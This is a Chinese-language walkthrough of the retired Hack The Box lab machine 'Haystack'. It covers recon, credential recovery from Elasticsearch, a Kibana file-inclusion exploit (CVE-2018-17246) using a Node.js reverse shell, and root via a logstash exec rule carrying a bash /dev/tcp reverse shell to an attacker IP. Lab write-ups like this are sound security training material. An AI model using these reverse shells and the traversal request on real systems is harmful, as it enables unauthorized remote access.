HTB-靶机-Haystack

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.115

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令 autorecon 10.10.10.115 -o ./Haystack-autorecon

快速扫描
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.115 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.115

扫描结果开放了3个端口,22,80,9200 直接访问web应用

将此图片下载下来使用strings命令查看一串有价值的base64编码

bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg== 

解码之后是西班牙语言,翻译成英语

显示clave是关键字,阅读elasticsearch的相关文档手动可以他通过以下方式获取重要信息

elasticsearch
http://10.10.10.115:9200/_cat/indices?v
http://10.10.10.115:9200/quotes/_search
http://10.10.10.115:9200/quotes/_search?size=253

curl -s 'http://10.10.10.115:9200/quotes/_search?size=253' | jq '.hits.hits | .[] | ._source.quote' > quotes

将得到的信息通过关键字过滤得到经过base64编码的账号和密码

端口转发
ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N
kali@kali:~/Downloads/htb/haystack$ cat quotes | grep clave
"Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
"Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "

解码之后的结果如下:

cGFzczogc3BhbmlzaC5pcy5rZXk=
pass: spanish.is.key

dXNlcjogc2VjdXJpdHkg
user: security 

使用此账号密码ssh连接过去获取了user.txt

ssh登录上去,查看网络连接,执行如下命令:
ss -4 -l -n
发现了目标靶机开放了5601端口,需要使用ssh进行端口转发

通过端口转发的形式将目标开放的5601端口转发到本地kali

访问获取了目标kibana版本信息,得知存在文件包含漏洞 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17246

https://www.cyberark.com/resources/threat-research-blog/execute-this-i-know-you-have-it

确认了exploit代码,将其放在/tmp/a.js文件下然后进行文件包含执行代码反弹shell

(function(){
    var net = require("net"),
    cp = require("child_process"),
    sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8833, "10.10.14.3", function(){
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

监听好本地反弹shell端口执行:curl 'http://localhost:5601/api/console/api_server?apis=../../../../../../../../../tmp/bmfx.js' 触发反弹shell

拿到shell之后执行如下命令获知kibana有一个进程是以root权限的计划任务

find / -user kibana 2>/dev/null |grep -v usr | grep -v proc
find / -group kibana 2>/dev/null |grep -v usr | grep -v proc

其中得到下面三个文件

cat /etc/logstash/conf.d/output.conf
cat /etc/logstash/conf.d/input.conf
cat /etc/logstash/conf.d/filter.conf

根据语法正则表达式可以通过下面的形式执行命令反弹shell

echo 'Ejecutar comando: bash -i >& /dev/tcp/10.10.14.3/8844 0>&1' > /opt/kibana/logstash_exec

稍等片刻即可反弹shell成功拿到root权限,得到root.txt

原文地址:https://www.cnblogs.com/autopwn/p/14281998.html